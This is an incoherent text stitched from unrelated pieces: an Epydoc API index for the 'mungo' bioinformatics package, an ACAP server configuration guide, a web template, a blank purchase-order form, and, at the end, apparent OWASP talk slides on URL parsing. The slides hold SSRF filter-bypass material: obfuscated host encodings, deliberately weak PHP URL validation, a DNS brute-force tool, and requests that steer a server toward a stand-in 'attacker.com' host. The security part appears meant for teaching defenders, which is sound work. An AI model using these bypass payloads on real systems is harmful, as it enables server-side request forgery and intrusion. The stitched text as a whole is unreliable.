(in
Feature
)
convertSixFrameToGenomic()
(in
mungo.hmmer3
)
checkConstraints()
(in
Feature
)
convert()
(in
AbstractFeature
)
convertStrandToPM()
(in
mungo.vista
)
childrenOfBiologicalProcess()
(in
mungo.GO
)
convert()
(in
Match
)
convertStrandToVista()
(in
mungo.vista
)
ClassFromDict
(in
mungo.useful
)
convertBlockSixFrameToGenomic()
(in
mungo.hmmer
)
createTable()
(in
mungo.alchemy.old
)
close()
(in
AbstractDataFile
)
convertBlockToGenomeCoords()
(in
HSP
)
codonIterator()
(in
mungo.sequence
)
converters
(in
HSP
)
D
dataDir
(in
mungo.config
)
DomainHitsReader
(in
mungo.hmmer3
)
draw()
(in
Block
)
deleteColumn()
(in
Alignment
)
downSampleToBlocks()
(in
mungo.align
)
draw()
(in
PointyBlock
)
diagram
(in
mungo
)
downSampleToBlocks2()
(in
mungo.align
)
draw()
(in
Triangle
)
Domain
(in
mungo.hmmer
)
DPI
(in
mungo.diagram
)
Drawing
(in
mungo.svgDiagram
)
Domain
(in
mungo.hmmer3
)
draw()
(in
Arrow
)
DSU()
(in
mungo.useful
)
E
Elements
(in
mungo.svgDiagram
)
extractGroupData()
(in
Feature
)
extractSeq()
(in
mungo.genomescan
)
encode_formdata()
(in
mungo.useful.multipart
)
extractName()
(in
Feature
)
extractSpp()
(in
mungo.fasta
)
endSection1
(in
Tokens
)
extractOrfs()
(in
mungo.sequence
)
extractUptoMatch()
(in
mungo.hmmer
)
engine
(in
mungo.alchemy.meta
)
extractOrfsIter()
(in
mungo.sequence
)
Exon
(in
mungo.vista
)
extractRootName()
(in
mungo.useful
)
F
fasta
(in
mungo
)
findName()
(in
Ontology
)
format
(in
Match
)
fastaCount()
(in
mungo.fasta
)
firstHit()
(in
BlastReader
)
FormSubmissionException
(in
mungo.useful.multipart
)
FastaFile()
(in
mungo.fasta
)
firstWord()
(in
mungo.align
)
frame2hmmer
(in
mungo.hmmer
)
FastaIndexFactory()
(in
mungo.fasta
)
flip()
(in
Mapping
)
frame2hmmer
(in
mungo.hmmer3
)
FastaIndexFile
(in
mungo.fasta
)
flip()
(in
UniformMapping
)
FrameError
(in
mungo.sequence
)
FastaIndexPickleFile
(in
mungo.fasta
)
flip()
(in
UniformMapping2
)
fromBlock()
(in
Chain
)
FastaIndexTextFile
(in
mungo.fasta
)
flip()
(in
Gene
)
fromChain()
(in
Feature
)
fastaQuality
(in
mungo
)
flush()
(in
AbstractDataFile
)
fromColumns()
(in
Alignment
)
FastaReader
(in
mungo.fasta
)
forceCorrectStrand()
(in
HSP
)
fromDomain()
(in
Feature
)
FastaReaderIndexed
(in
mungo.fasta
)
forcePlusStrand()
(in
HSP
)
fromGenomic()
(in
Domain
)
FastaWriter
(in
mungo.fasta
)
format
(in
Feature
)
fromHSP()
(in
Feature
)
fastq
(in
mungo
)
format
(in
HSP
)
fromKvList()
(in
GoTerm
)
FastqFile()
(in
mungo.fastq
)
format
(in
Chain
)
fromList()
(in
Interval
)
FastqReader
(in
mungo.fastq
)
format
(in
Chain
)
fromList()
(in
RichInterval
)
FastqWriter
(in
mungo.fastq
)
format
(in
Predicted
)
fromObject()
(in
Interval
)
Feature
(in
mungo.bed
)
format
(in
Feature
)
fromObject()
(in
RichInterval
)
Feature
(in
mungo.bowtie
)
format
(in
Domain
)
fromScale()
(in
Mapping
)
Feature
(in
mungo.generic
)
format
(in
GenomicDomain
)
fromTokens()
(in
PairedEnds
)
Feature
(in
mungo.gff
)
format
(in
Domain
)
fromTokens()
(in
Exon
)
filename
(in
mungo.GO
)
format
(in
Interval
)
fromTokens()
(in
Gene
)
findAllChains()
(in
mungo.chaining
)
format
(in
RichInterval
)
findBestChain()
(in
mungo.chaining
)
format
(in
Motif
)
G
GC()
(in
mungo.sequence
)
get()
(in
FastaReaderIndexed
)
getUngappedBlocks()
(in
mungo.align
)
Gene
(in
mungo.vista
)
get_content_type()
(in
mungo.useful.multipart
)
getUngappedLength()
(in
Transform
)
generic
(in
mungo
)
getGappedLength()
(in
Transform
)
gff
(in
mungo
)
GenericFile()
(in
mungo.generic
)
getItems()
(in
Alignment
)
GffFile()
(in
mungo.gff
)
GenericReader
(in
mungo.generic
)
getName()
(in
Alignment
)
GffReader
(in
mungo.gff
)
genomescan
(in
mungo
)
getSeq()
(in
Alignment
)
Glyphs
(in
mungo.diagram
)
genomescan()
(in
mungo.genomescan
)
getSequence()
(in
HSP
)
GO
(in
mungo
)
genomescanFromFeature()
(in
mungo.genomescan
)
getSequence()
(in
mungo.blast
)
GoFile()
(in
mungo.GoTools
)
genomeToBlock()
(in
mungo.blast
)
getSequence()
(in
Feature
)
GoReader
(in
mungo.GoTools
)
genomeToBlocks()
(in
mungo.blast
)
getSequence()
(in
Domain
)
GoTerm
(in
mungo.GoTools
)
GenomicDomain
(in
mungo.hmmer
)
getSequence()
(in
GenomicDomain
)
GoTools
(in
mungo
)
genscan
(in
mungo
)
getSequence()
(in
SixFrameDomain
)
groupByQuerySeq()
(in
MultiBlastReader
)
get()
(in
CapIndexFile
)
getSequence()
(in
Domain
)
groupFromList()
(in
Feature
)
get()
(in
CapReaderIndexed
)
getSequence()
(in
Interval
)
groupSplitter()
(in
mungo.gff
)
get()
(in
FastaIndexFile
)
getSequenceFromString()
(in
SixFrameDomain
)
groupSplitterPattern
(in
mungo.gff
)
get()
(in
FastaIndexPickleFile
)
getSubAlignment()
(in
Alignment
)
groupToDict()
(in
Feature
)
get()
(in
FastaIndexTextFile
)
getTokens()
(in
Domain
)
groupToList()
(in
Feature
)
H
header
(in
Match
)
hmmer2frame
(in
mungo.hmmer3
)
homeDir
(in
mungo.config
)
height
(in
A4Landscape
)
hmmer3
(in
mungo
)
HSP
(in
mungo.blast
)
height
(in
A4Portrait
)
HmmerFile()
(in
mungo.hmmer
)
HSP
(in
mungo.blastz
)
hmmer
(in
mungo
)
HmmerFile()
(in
mungo.hmmer3
)
hspSort()
(in
mungo.chaining
)
hmmer2frame
(in
mungo.hmmer
)
HmmerReader
(in
mungo.hmmer
)
human
(in
mungo.config
)
I
IndexMethod
(in
mungo.fasta
)
isIndexed()
(in
CapIndexFile
)
isort()
(in
mungo.useful
)
Interface
(in
mungo.fasta
)
isIndexed()
(in
FastaIndexFile
)
iterBestHits()
(in
BlastReader
)
Interval
(in
mungo.intervals
)
isIndexed()
(in
FastaIndexPickleFile
)
iterBestHits()
(in
MultiBlatReader
)
intervals
(in
mungo
)
isIndexed()
(in
FastaIndexTextFile
)
iterSorted()
(in
MultiBlatReader
)
J
jumpToMatch()
(in
mungo.hmmer
)
K
k
(in
mungo.hmmer
)
kvPairSplitter()
(in
mungo.gff
)
k
(in
mungo.hmmer3
)
kvPairSplitterPattern
(in
mungo.gff
)
L
lengthGenerator()
(in
FastaReader
)
load()
(in
mungo.blat_old
)
load_iter()
(in
mungo.transfac
)
like()
(in
FastaIndexFile
)
load()
(in
mungo.generic
)
load_iter()
(in
mungo.vista
)
like()
(in
FastaReaderIndexed
)
load()
(in
mungo.genscan
)
load_preprocessed()
(in
mungo.genscan
)
Line
(in
mungo.svgDiagram
)
load()
(in
mungo.transfac
)
loadChrSizes()
(in
mungo.useful
)
list2string()
(in
mungo.blat
)
load()
(in
mungo.vista
)
loadClustal()
(in
Alignment
)
Lmajor
(in
mungo.config
)
load()
(in
mungo.wig
)
loadDomains()
(in
mungo.hmmer
)
lnAminoAcidDist
(in
mungo.sequence
)
load2()
(in
mungo.vista
)
loadFasta()
(in
Alignment
)
load()
(in
Ontology
)
load_full()
(in
mungo.genscan
)
loadGenomicDomains()
(in
mungo.hmmer
)
load()
(in
Alignment
)
load_iter()
(in
mungo.bed
)
loadPecan()
(in
Alignment
)
load()
(in
mungo.bed
)
load_iter()
(in
mungo.blat_old
)
loadPhylip()
(in
Alignment
)
load()
(in
Alignment
)
load_iter()
(in
mungo.generic
)
loadStockholm()
(in
Alignment
)
M
makeReferencedAlignment()
(in
mungo.align
)
medianDepth()
(in
mungo.cap3
)
Motif
(in
mungo.possum
)
Mapping
(in
mungo.diagram
)
merge()
(in
Interval
)
mouse
(in
mungo.config
)
MAPPING
(in
Interface
)
merge()
(in
RichInterval
)
MultiBlastReader
(in
mungo.blast
)
margin
(in
A4Landscape
)
merge()
(in
mungo.intervals
)
MultiBlatReader
(in
mungo.blat
)
margin
(in
A4Portrait
)
mergeHSPs()
(in
mungo.intervals
)
multipart
(in
mungo.useful
)
Match
(in
mungo.transfac
)
message
(in
FrameError
)
mungo
mean()
(in
mungo.useful.stats
)
meta
(in
mungo.alchemy
)
mungoCore
(in
mungo
)
meanDepth()
(in
mungo.cap3
)
metadata
(in
mungo.alchemy.meta
)
median()
(in
mungo.useful.stats
)
molecular_function
(in
mungo.GO
)
N
next()
(in
Alignment
)
next()
(in
FastqReader
)
nucleotides
(in
mungo.sequence
)
next()
(in
BowtieTwoFilePairedEndReader
)
next()
(in
AbstractDataReader
)
numberOfSeqs()
(in
Alignment
)
next()
(in
CapReaderIndexed
)
nonunique()
(in
mungo.useful
)
next()
(in
FastaReader
)
NotFoundException
(in
mungo.blast
)
O
old
(in
mungo.alchemy
)
opossum
(in
mungo.config
)
OrfDomain2
(in
mungo.hmmer
)
onto
(in
mungo.GO
)
order()
(in
mungo.useful
)
overlaps()
(in
Interval
)
Ontology
(in
mungo.GoTools
)
OrfDomain
(in
mungo.hmmer
)
overlaps()
(in
RichInterval
)
P
PairedEnds
(in
mungo.bowtie
)
PICKLE
(in
IndexMethod
)
pretty()
(in
mungo.fastaQuality
)
parseContents()
(in
mungo.cap3
)
platypus
(in
mungo.config
)
pretty()
(in
AbstractFeature
)
parseGenomeScanOutput()
(in
mungo.genomescan
)
PointyBlock
(in
mungo.diagram.Glyphs
)
prettyprint()
(in
mungo.fasta
)
parseGenscan()
(in
mungo.genomescan
)
possum
(in
mungo
)
prettyprint()
(in
AbstractFeature
)
parseOrfHeader()
(in
mungo.hmmer
)
PossumOutputReader
(in
mungo.possum
)
progressMessage()
(in
mungo.useful
)
parseSixFrameHeader()
(in
mungo.hmmer
)
post()
(in
mungo.useful.multipart
)
projectOntoString()
(in
Chain
)
Pf
(in
mungo.config
)
Predicted
(in
mungo.genscan
)
projectOntoString()
(in
Chain
)
PfamReader
(in
mungo.hmmer
)
pretty()
(in
mungo.fasta
)
Py
(in
mungo.config
)
Q
Quality
(in
mungo.fastaQuality
)
QualityIndexFactory()
(in
mungo.fastaQuality
)
QualityReaderIndexed
(in
mungo.fastaQuality
)
QualityFile()
(in
mungo.fastaQuality
)
QualityReader
(in
mungo.fastaQuality
)
QualityWriter
(in
mungo.fastaQuality
)
R
raiseDeprecated()
(in
mungo.useful
)
readOne()
(in
FastaReader
)
reset()
(in
CapReaderIndexed
)
randomLetter()
(in
mungo.sequence
)
Rect
(in
mungo.svgDiagram
)
reset()
(in
FastaReader
)
randomSequence()
(in
mungo.sequence
)
refseq
(in
mungo
)
reverse()
(in
mungo.sequence
)
rank()
(in
Ontology
)
refseqData
(in
mungo.config
)
reverse_complement()
(in
mungo.sequence
)
readAll()
(in
FastaReader
)
remove()
(in
Alignment
)
reverseComplement()
(in
mungo.sequence
)
readAll()
(in
AbstractDataReader
)
rename()
(in
Alignment
)
RichInterval
(in
mungo.intervals
)
readOne()
(in
CapReaderIndexed
)
requiredAttributes
(in
Feature
)
ruler
(in
Tokens
)
S
save()
(in
Alignment
)
seek()
(in
CapReaderIndexed
)
splitBlockCoords()
(in
mungo.useful
)
saveClustal()
(in
Alignment
)
seek()
(in
FastaReaderIndexed
)
SQLITE
(in
IndexMethod
)
saveFasta()
(in
Alignment
)
separateBySS()
(in
mungo.intervals
)
standardCodonTable
(in
mungo.sequence
)
saveMolphy()
(in
Alignment
)
Sequence
(in
mungo.fasta
)
startSession()
(in
Alchemy
)
saveNexus()
(in
Alignment
)
sequence
(in
mungo
)
startSession()
(in
mungo.alchemy.old
)
saveNexus0()
(in
Alignment
)
Session
(in
mungo.alchemy.meta
)
State
(in
mungo.cap3
)
savePhylip()
(in
Alignment
)
setBlockSize()
(in
FastaWriter
)
States
(in
mungo.GoTools
)
scoreChain()
(in
mungo.chaining
)
shift()
(in
Mapping
)
stats
(in
mungo.useful
)
search()
(in
CapIndexFile
)
sign_to_strand()
(in
mungo.blast
)
strand()
(in
HSP
)
search()
(in
CapReaderIndexed
)
signum()
(in
mungo.diagram.Glyphs
)
strandDict
(in
mungo.blastz
)
search()
(in
FastaIndexFile
)
SimpleGffReader
(in
mungo.gff
)
strandlessMerge()
(in
mungo.intervals
)
search()
(in
FastaIndexPickleFile
)
SixFrameDomain
(in
mungo.hmmer
)
strandlessOverlaps()
(in
Interval
)
search()
(in
FastaIndexTextFile
)
sixFrameTranslation()
(in
mungo.sequence
)
strandlessOverlaps()
(in
RichInterval
)
search()
(in
FastaReaderIndexed
)
sixFrameTranslationIter()
(in
mungo.sequence
)
string2list()
(in
mungo.blat
)
section1
(in
State
)
slimFilename
(in
mungo.GO
)
svgDiagram
(in
mungo
)
section1or2
(in
State
)
smartopen()
(in
mungo.useful
)
swapStartEnd()
(in
HSP
)
section2
(in
State
)
sort()
(in
PairedEnds
)
swapStartEnd()
(in
Domain
)
T
TERM
(in
States
)
toGenomic()
(in
BlockSixFrameDomain
)
toyNucleotideDist
(in
mungo.sequence
)
test()
(in
mungo.GO
)
toGenomic()
(in
OrfDomain
)
transcribe()
(in
mungo.sequence
)
test_to_strand()
(in
mungo.blast
)
toGenomic()
(in
OrfDomain2
)
transfac
(in
mungo
)
testTraversals()
(in
mungo.GO
)
toGenomic()
(in
SixFrameDomain
)
Transform
(in
mungo.align
)
TEXT
(in
IndexMethod
)
toGenomic()
(in
BlockSixFrameDomain
)
translate()
(in
mungo.sequence
)
tick_generator()
(in
mungo.diagram
)
Tokens
(in
mungo.cap3
)
traverse()
(in
Ontology
)
toBlockCoords()
(in
GenomicDomain
)
tokens2dict()
(in
mungo.genscan
)
traverse_old()
(in
Ontology
)
toBlockCoords()
(in
SixFrameDomain
)
toList()
(in
GenomicDomain
)
traverseIter()
(in
Ontology
)
toDict()
(in
GenomicDomain
)
toList()
(in
Interval
)
traverseToGivenNodes()
(in
Ontology
)
toDict()
(in
Interval
)
toList()
(in
RichInterval
)
Triangle
(in
mungo.diagram.Glyphs
)
toDict()
(in
RichInterval
)
TooManyBlocks
(in
mungo.blast
)
TYPEDEF
(in
States
)
toGapped()
(in
Transform
)
toUngapped()
(in
Transform
)
U
UniformMapping
(in
mungo.diagram
)
uniformRandomSequence()
(in
mungo.sequence
)
updateFromNCBI()
(in
mungo.refseq
)
UniformMapping2
(in
mungo.diagram
)
unique()
(in
mungo.useful
)
updateFromUCSC()
(in
mungo.refseq
)
uniformNucleotideDist
(in
mungo.sequence
)
unique_array_of_dicts()
(in
mungo.useful
)
useful
(in
mungo
)
uniformRandomLetter()
(in
mungo.sequence
)
unzip()
(in
mungo.useful
)
V
v
(in
mungo.hmmer
)
v
(in
mungo.hmmer3
)
vista
(in
mungo
)
W
warnDeprecated()
(in
mungo.useful
)
wig
(in
mungo
)
write()
(in
FastqWriter
)
width
(in
A4Landscape
)
write()
(in
FastaWriter
)
width
(in
A4Portrait
)
write()
(in
QualityWriter
)
_
__call__()
(in
Mapping
)
__init__()
(in
Feature
)
__package__
(in
mungo.sequence
)
__call__()
(in
UniformMapping
)
__init__()
(in
GffReader
)
__package__
(in
mungo.svgDiagram
)
__call__()
(in
UniformMapping2
)
__init__()
(in
SimpleGffReader
)
__package__
(in
mungo.transfac
)
__call__()
(in
FastaWriter
)
__init__()
(in
Domain
)
__package__
(in
mungo.useful
)
__call__()
(in
FastqWriter
)
__init__()
(in
GenomicDomain
)
__package__
(in
mungo.useful.multipart
)
__cmp__()
(in
Interval
)
__init__()
(in
HmmerReader
)
__package__
(in
mungo.useful.stats
)
__cmp__()
(in
RichInterval
)
__init__()
(in
PfamReader
)
__package__
(in
mungo.vista
)
__eq__()
(in
HSP
)
__init__()
(in
Domain
)
__package__
(in
mungo.wig
)
__getitem__()
(in
Ontology
)
__init__()
(in
DomainHitsReader
)
__repr__()
(in
GoTerm
)
__getitem__()
(in
Alignment
)
__init__()
(in
Interval
)
__repr__()
(in
Alignment
)
__getitem__()
(in
PairedEnds
)
__init__()
(in
RichInterval
)
__repr__()
(in
Feature
)
__getitem__()
(in
CapIndexFile
)
__init__()
(in
AbstractDataReader
)
__repr__()
(in
HSP
)
__getitem__()
(in
CapReaderIndexed
)
__init__()
(in
AbstractFeature
)
__repr__()
(in
Alignment
)
__getitem__()
(in
UniformMapping
)
__init__()
(in
Motif
)
__repr__()
(in
Chain
)
__getitem__()
(in
FastaIndexFile
)
__init__()
(in
PossumOutputReader
)
__repr__()
(in
HSP
)
__getitem__()
(in
FastaIndexPickleFile
)
__init__()
(in
Match
)
__repr__()
(in
Chain
)
__getitem__()
(in
FastaIndexTextFile
)
__init__()
(in
ClassFromDict
)
__repr__()
(in
Feature
)
__getitem__()
(in
FastaReaderIndexed
)
__init__()
(in
Exon
)
__repr__()
(in
Config
)
__getitem__()
(in
Gene
)
__init__()
(in
Gene
)
__repr__()
(in
Sequence
)
__hash__()
(in
HSP
)
__iter__()
(in
Alignment
)
__repr__()
(in
Quality
)
__init__()
(in
GoTerm
)
__iter__()
(in
BowtieTwoFilePairedEndReader
)
__repr__()
(in
Predicted
)
__init__()
(in
Ontology
)
__iter__()
(in
CapReaderIndexed
)
__repr__()
(in
Feature
)
__init__()
(in
Alchemy
)
__iter__()
(in
FastaReader
)
__repr__()
(in
Domain
)
__init__()
(in
Alignment
)
__iter__()
(in
FastqReader
)
__repr__()
(in
GenomicDomain
)
__init__()
(in
Transform
)
__iter__()
(in
AbstractDataReader
)
__repr__()
(in
Domain
)
__init__()
(in
Feature
)
__iter__()
(in
Gene
)
__repr__()
(in
Interval
)
__init__()
(in
BlastReader
)
__len__()
(in
Alignment
)
__repr__()
(in
RichInterval
)
__init__()
(in
HSP
)
__len__()
(in
CapIndexFile
)
__repr__()
(in
AbstractFeature
)
__init__()
(in
TooManyBlocks
)
__len__()
(in
CapReaderIndexed
)
__repr__()
(in
ClassFromDict
)
__init__()
(in
Alignment
)
__len__()
(in
FastaIndexFile
)
__repr__()
(in
Exon
)
__init__()
(in
Block
)
__len__()
(in
FastaIndexPickleFile
)
__repr__()
(in
Gene
)
__init__()
(in
Chain
)
__len__()
(in
FastaIndexTextFile
)
__setitem__()
(in
Alignment
)
__init__()
(in
HSP
)
__len__()
(in
FastaReaderIndexed
)
_attrMap
(in
_Glyph
)
__init__()
(in
BlatReader
)
__len__()
(in
Gene
)
_byteOffsetGenerator()
(in
FastaIndexFile
)
__init__()
(in
Chain
)
__package__
(in
mungo.GO
)
_byteOffsetGenerator()
(in
FastaIndexPickleFile
)
__init__()
(in
Chain
)
__package__
(in
mungo.GoTools
)
_byteOffsetGenerator()
(in
FastaIndexTextFile
)
__init__()
(in
BowtieReader
)
__package__
(in
mungo
)
_calcPositions()
(in
CapIndexFile
)
__init__()
(in
BowtieTwoFilePairedEndReader
)
__package__
(in
mungo.alchemy
)
_extractName()
(in
Feature
)
__init__()
(in
Feature
)
__package__
(in
mungo.alchemy.meta
)
_findChildren()
(in
Ontology
)
__init__()
(in
PairedEnds
)
__package__
(in
mungo.alchemy.old
)
_fromDict()
(in
AbstractFeature
)
__init__()
(in
CapIndexFile
)
__package__
(in
mungo.align
)
_fromList()
(in
AbstractFeature
)
__init__()
(in
CapReaderIndexed
)
__package__
(in
mungo.bed
)
_generator()
(in
GoReader
)
__init__()
(in
Config
)
__package__
(in
mungo.blast
)
_generator()
(in
BlastReader
)
__init__()
(in
Arrow
)
__package__
(in
mungo.blastz
)
_generator()
(in
BlatReader
)
__init__()
(in
Block
)
__package__
(in
mungo.blat
)
_generator()
(in
BowtieReader
)
__init__()
(in
PointyBlock
)
__package__
(in
mungo.blat_old
)
_generator()
(in
BowtieTwoFilePairedEndReader
)
__init__()
(in
Triangle
)
__package__
(in
mungo.bowtie
)
_generator()
(in
CapReaderIndexed
)
__init__()
(in
_Glyph
)
__package__
(in
mungo.cap3
)
_generator()
(in
FastaReader
)
__init__()
(in
Mapping
)
__package__
(in
mungo.chaining
)
_generator()
(in
QualityReader
)
__init__()
(in
UniformMapping
)
__package__
(in
mungo.config
)
_generator()
(in
FastqReader
)
__init__()
(in
UniformMapping2
)
__package__
(in
mungo.diagram.Glyphs
)
_generator()
(in
GenericReader
)
__init__()
(in
FastaIndexFile
)
__package__
(in
mungo.diagram
)
_generator()
(in
GffReader
)
__init__()
(in
FastaIndexPickleFile
)
__package__
(in
mungo.fasta
)
_generator()
(in
SimpleGffReader
)
__init__()
(in
FastaIndexTextFile
)
__package__
(in
mungo.fastaQuality
)
_generator()
(in
HmmerReader
)
__init__()
(in
FastaReader
)
__package__
(in
mungo.fastq
)
_generator()
(in
PfamReader
)
__init__()
(in
FastaReaderIndexed
)
__package__
(in
mungo.generic
)
_generator()
(in
DomainHitsReader
)
__init__()
(in
FastaWriter
)
__package__
(in
mungo.genomescan
)
_generator()
(in
AbstractDataReader
)
__init__()
(in
Sequence
)
__package__
(in
mungo.genscan
)
_generator()
(in
PossumOutputReader
)
__init__()
(in
Quality
)
__package__
(in
mungo.gff
)
_getCached()
(in
CapIndexFile
)
__init__()
(in
QualityReaderIndexed
)
__package__
(in
mungo.hmmer
)
_Glyph
(in
mungo.diagram.Glyphs
)
__init__()
(in
FastqReader
)
__package__
(in
mungo.hmmer3
)
_groupToDict()
(in
Feature
)
__init__()
(in
FastqWriter
)
__package__
(in
mungo.intervals
)
_nodoc
(in
_Glyph
)
__init__()
(in
Feature
)
__package__
(in
mungo.mungoCore
)
_searchCached()
(in
CapIndexFile
)
__init__()
(in
GenericReader
)
__package__
(in
mungo.possum
)
_writeBlock()
(in
FastaWriter
)
__init__()
(in
Predicted
)
__package__
(in
mungo.refseq
)
Home
Trees
Indices
Help
Generated by Epydoc 3.0.1 on Tue Apr 24 16:15:00 2012
http://epydoc.sourceforge.net


Where does the configuration for a configuration server live? In itself, of course.
In fact, it lives in a dataset /vendor.infotrope.acapd/site/, which itself contains the internal ACAP server's configuration, and datasets for external libraries, such as SASL - in /vendor.infotrope.acapd/site/sasl/.
By default, the server listens to port 674 on ipv6 or ipv4. If this fails, it'll listen to port 1674, 2674, etc.
It'll use default SASL configuration - that is, it'll act as if there were no SASL configuration present, which there isn't.
It won't do STARTTLS. And it won't do auto-provisioning.
All these configuration areas are visible through ACAP.
Any entry in the main dataset which looks like a listen will be treated as one - the only special one is "fallback", which is automatically generated if the server is unable to listen to any other configured listeners.
A listen should have the following attributes:
Listen entries may be called anything - they can even clash with existing option entries, although that's not really recommended.
Options have a single attribute, "vendor.infotrope.acapd.value". All SASL options are simple options, as well as many ACAP server options.
If the value of the option "auth_provision" is "1", then attempted authenticate commands with PLAIN with a non-existent user will cause the creation of that user, with the supplied password. If an attempt at authetication with another mechanism fails because the user doesn't exist, it'll issue TRANSITION-NEEDED, which (should) cause the client to retry with PLAIN.
If you're going to do this, make sure you're using auxprop/sasldb, and offer TLS.
For RFC2595 support, you'll need a single option "tls_certificate", with a value of a full path to the TLS certificate, in PEM format, with both public and private keys present. It's a bit naff, but enough to get it working.
I'll eventually sort this one out.
The server writes dump files whenever it has to create or delete (or rename) a dataset, and then 'appends' tran files to these when an entry is created, deleted, or changed. Additionally, it now writes out a dump file as well as a tran file after every ten transactions.
By default, it'll keep 10 older dump files (and associated tran files) about, in case the last dump failed for some reason.
"max-dump-files" will change this. Changing it to 0 is not recommended, as you'll delete the dump file immediately after writing, which would be stupid.
The default, while not wholly sensible, isn't too bad. I'd set it at around 3.
It is highly recommended to either know what you're doing to an extreme level, or else, before tweaking SASL configuration, make absolutely certain you've backed up the data directory. (Just a 'cp' or 'tar' will do fine.)
General SASL options are held in /vendor.infotrope.acapd/site/sasl/, and options for specific mechanisms (and possibly plugins) are held within subdatasets named after the plugin. So, for instance, the DIGEST-MD5 options are held within /vendor.infotrope.acapd/site/sasl/DIGEST-MD5/.
You can change any of them, but some options may require a restart of the server to reinitialize SASL - killing the metaserver (or real server) with a HUP is enough to do this, although you can kill the real server with KILL just to show off stability if you like.
The options available are listed at http://asg.web.cmu.edu/cyrus/download/sasl/options.html.
See the example on the Bootstrap page.


{% extends "main.html" %} {% block content %} {% include "header.html" %}
Though these data could be reused in other analyses, these datasets can often be difficult to discover. Data is scattered across general purpose data repositories, specific biomedical data sites, data aggregators, and primary literature. Moreover, the metadata that is used to describe these datasets isn't standardized — meaning that it's harder to find useful data for particular research.
The {{site_name}} aggregates different data sources together in a searchable platform, making it easier to find datasets.
We also standardize the dataset metadata to a common form, increasing the findability of these datasets. Schema.org provides a widely accepted format regonizable by major search engines and data portals.
While some dataset providers already use this format to describe their datasets, others provide structured metadata in their own format. Learn more about our efforts to encapsulate non-standard dataset metdata in schema.org's format.
Aggregating together open datasets which have structured metadata is only the first step. Though all the datasets harvested and aggregated on this site organize dataset metadata in the same format, they take advantage of the schema.org standard to different extents. Additionally, since the dataset metadata is provided by the data generators, they vary widely in how much information about the dataset is given and how standardized this information is. Learn more about how the data sources use the schema.org standard
More work will be needed to be done by the community to standardize how we apply the schema.org format and the vocabulary we use to describe things like diseases, species, and funding institutions.
As a first step, the NIAID Data Dissemination Working Group has created a schema for describing biological datasets, building off the schema.org standard. Register a dataset using the NIAID schema


ABBAS ALI & SONS
karachi,pkPhone: +923452462819,+923452965650
Tel: +92-31-3-4242673
Website: www.abbasaliandsons.com
PURCHASE ORDER
Date:
P.O #
L.P.O Ref
VENDOR:
Company Name:
Name:
Street Address
City or ZIP:
Phone:
Ship To:
Name:
Company Name:
Street Address
City or ZIP:
Phone:
| REQUISITIONER | SHIP VIA | F.O.B | SHIPPING TERMS |
|---|---|---|---|
| Item # | Description | Quantity | Unit Price |


Events
News
About
Core Team
Contacts
Join us
Contact us
Get in touch with us to know more about the society and get the help you need.
Loading…


By doge 4 doge (d4d)
for OWASP Czech Republic
Uniform Resource Locator (URL)
| scheme | : | // | userinfo | @ | host | : | port | /path/ | ? | query | # | fragment |
|---|
| scheme | : | // | userinfo | @ | host | : | port | /path/ | ? | query | # | fragment |
|---|
scheme://username:password@host/path/?query#fragment
If // is missed?
GET /red.php?h=1 HTTP/1.1
Host: 00d4d.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
HTTP/1.1 302 Found
Server: nginx
Date: Sun, 29 Nov 2020 18:47:18 GMT
Content-Type: text/html; charset=UTF-8
Location: http:00d4d.com/iframe.html
Content-Length: 31
HTTP/1.1 302 Found
Server: nginx
Date: Sun, 29 Nov 2020 18:47:18 GMT
Content-Type: text/html; charset=UTF-8
Location: https:00d4d.com/iframe.html
Content-Length: 31
HTTP/1.1 302 Found
Server: nginx
Date: Sun, 29 Nov 2020 18:47:18 GMT
Content-Type: text/html; charset=UTF-8
Location: ftp:00d4d.com/iframe.html
Content-Length: 31
Chrome, Firefox, Safari will open page.
scheme://username:password@host/path/?query#fragment
<EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS>http://<IP_ADDRESS><EMAIL_ADDRESS>http://<IP_ADDRESS><EMAIL_ADDRESS>http://<IP_ADDRESS><EMAIL_ADDRESS>@<IP_ADDRESS>/
scheme://username:password@host/path/?query#fragment
<IP_ADDRESS>
\g\o\o\g\l\e.\c\o\m
\103oogle.\099om
127。0。0。1
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ
scheme://username:password@host/path/?query#fragment
$host = parse_url($_GET["url"]);
preg_match(
'/^api.vulnerable.com$/',
$host['host'],
$matches,
PREG_OFFSET_CAPTURE);
if($matches){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
$request = array(
'response' => curl_exec($ch),
'info' => curl_getinfo($ch),
'error_number' => curl_errno($ch),
'error_message' => curl_error($ch));
}
$host = parse_url($_GET["url"]);
preg_match(
'/^api\.vulnerable\.com$/',
$host['host'],
$matches,
PREG_OFFSET_CAPTURE);
if($matches){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
$request = array(
'response' => curl_exec($ch),
'info' => curl_getinfo($ch),
'error_number' => curl_errno($ch),
'error_message' => curl_error($ch));
}
tiny Go tool to bruteforce Unix DNS resolver. Pay attention that behavior netdns=go/cgo may diff. Force low level resolver with build tag netcgo
func look(wg *sync.WaitGroup, names []string, nums chan []Result) {
defer wg.Done()
var results = make([]Result, 0)
for _, name := range names {
ips, _ := net.LookupIP(name)
if ips != nil {
r := Result{name: name, IPs: ips}
results = append(results, r)
}
}
nums <- results
}
"although non-registered schemes are used in practice"
d4d in ~ λ
curl attacker.com://anything
curl: (1) Protocol "attacker.com" not supported or disabled in libcurl
d4d in ~ λ
curl longsubdomain.attacker.com://anything
curl: (6) Could not resolve host: longsubdomain.attacker.com
GET /owasp.php?url=longsubdomain.attacker.com://
api.vulnerable.com/ HTTP/1.1
Host: 00d4d.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 29 Nov 2020 18:47:18 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 1459
